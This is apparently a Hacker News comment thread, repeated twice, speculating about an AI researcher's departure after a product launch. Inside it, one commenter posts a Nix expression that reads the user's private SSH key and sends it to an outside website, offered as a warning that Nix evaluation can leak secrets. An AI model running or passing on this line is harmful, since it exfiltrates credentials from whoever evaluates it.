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seemed inevitable after that ouster attempt, probably just working out the details of the exit. But the day after their new features release announcement?

ptero 2y ago
"Get next major feature to release and you can go as a friend" might have been part of an earlier agreement.
- beeboobaa3 2y ago
  Sounds like a threat.
  - johnbellone 2y ago
    When you take a shot at the king, you better not miss.
    - deleted 2y ago
      [deleted]
    - karma_pharmer 2y ago
      Or, in this case, when you take a shot at Machiavelli.
      - CyberShadow 2y ago
        Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly. In that comment, you wrote: > It can delete your home directory or email your ssh private keys to Zimbabwe. I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!): let pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {}; in builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}" It does not need --impure or any other unusual switches to work. Hope this helps.
        karma_pharmer 2y ago
        How is that supposed to "delete my home directory"? Also, it doesn't work: error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous. https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval https://nixos.org/manual/nix/unstable/command-ref/conf-file.... Hope this helps. I don't think it did. I'm not sure what it was supposed to help with.
        CyberShadow 2y ago
        > How is that supposed to "delete my home directory"? Ah, I over-quoted that part. My mistake. > Also, it doesn't work: It will work with the default Nix settings. > Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous. One would need to first turn it on to be able to turn it off. > https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval https://nixos.org/manual/nix/unstable/command-ref/conf-file.... Indeed, note the default value. > I don't think it did. I'm not sure what it was supposed to help with. I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
    - tjpnz 2y ago
      Lest you find yourself in a private jet careening into the ground.
    - beeboobaa3 2y ago
      When you take a shot at the king, you get reported to the police and go to jail.
- ru552 2y ago
  More like they iced him for the last 6 months to ensure he wasn’t taking their lead to a competitor. He probably hasn’t touched anything in that time.
  - coffeebeqn 2y ago
    Sitting on the roof?
    - djbusby 2y ago
      Rest and Vest baby!
    - teaearlgraycold 2y ago
      That was literally me at Google
      - golergka 2y ago
        Silicon Valley is one of the most underrated documentaries of the last decade.
        cm2187 2y ago
        If you extend the window a little bit, along Yes Minister, Idiocracy and Demolition Man (the last two being a documentary of our time filmed 20y ago).
        golergka 2y ago
        > Idiocracy I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
- csours 2y ago
  I mean, people can also get attached to a feature release. "I want to work with the team to get this thing done"
CooCooCaCha 2y ago
Could be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.
gallerdude 2y ago
I would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.
informal007 2y ago
People will pay relatively less attention on the leaving when announcement after new feature release than other any time.
twobitshifter 2y ago
I believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.

ptero 2y ago

"Get next major feature to release and you can go as a friend" might have been part of an earlier agreement.

beeboobaa3 2y ago
Sounds like a threat.
- johnbellone 2y ago
  When you take a shot at the king, you better not miss.
  - deleted 2y ago
    [deleted]
  - karma_pharmer 2y ago
    Or, in this case, when you take a shot at Machiavelli.
    - CyberShadow 2y ago
      Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly. In that comment, you wrote: > It can delete your home directory or email your ssh private keys to Zimbabwe. I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!): let pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {}; in builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}" It does not need --impure or any other unusual switches to work. Hope this helps.
      - karma_pharmer 2y ago
        How is that supposed to "delete my home directory"? Also, it doesn't work: error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous. https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval https://nixos.org/manual/nix/unstable/command-ref/conf-file.... Hope this helps. I don't think it did. I'm not sure what it was supposed to help with.
        CyberShadow 2y ago
        > How is that supposed to "delete my home directory"? Ah, I over-quoted that part. My mistake. > Also, it doesn't work: It will work with the default Nix settings. > Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous. One would need to first turn it on to be able to turn it off. > https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval https://nixos.org/manual/nix/unstable/command-ref/conf-file.... Indeed, note the default value. > I don't think it did. I'm not sure what it was supposed to help with. I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
  - tjpnz 2y ago
    Lest you find yourself in a private jet careening into the ground.
  - beeboobaa3 2y ago
    When you take a shot at the king, you get reported to the police and go to jail.
ru552 2y ago
More like they iced him for the last 6 months to ensure he wasn’t taking their lead to a competitor. He probably hasn’t touched anything in that time.
- coffeebeqn 2y ago
  Sitting on the roof?
  - djbusby 2y ago
    Rest and Vest baby!
  - teaearlgraycold 2y ago
    That was literally me at Google
    - golergka 2y ago
      Silicon Valley is one of the most underrated documentaries of the last decade.
      - cm2187 2y ago
        If you extend the window a little bit, along Yes Minister, Idiocracy and Demolition Man (the last two being a documentary of our time filmed 20y ago).
        golergka 2y ago
        > Idiocracy I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
csours 2y ago
I mean, people can also get attached to a feature release. "I want to work with the team to get this thing done"

CooCooCaCha 2y ago

Could be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.

gallerdude 2y ago

I would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.

informal007 2y ago

People will pay relatively less attention on the leaving when announcement after new feature release than other any time.

twobitshifter 2y ago

I believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.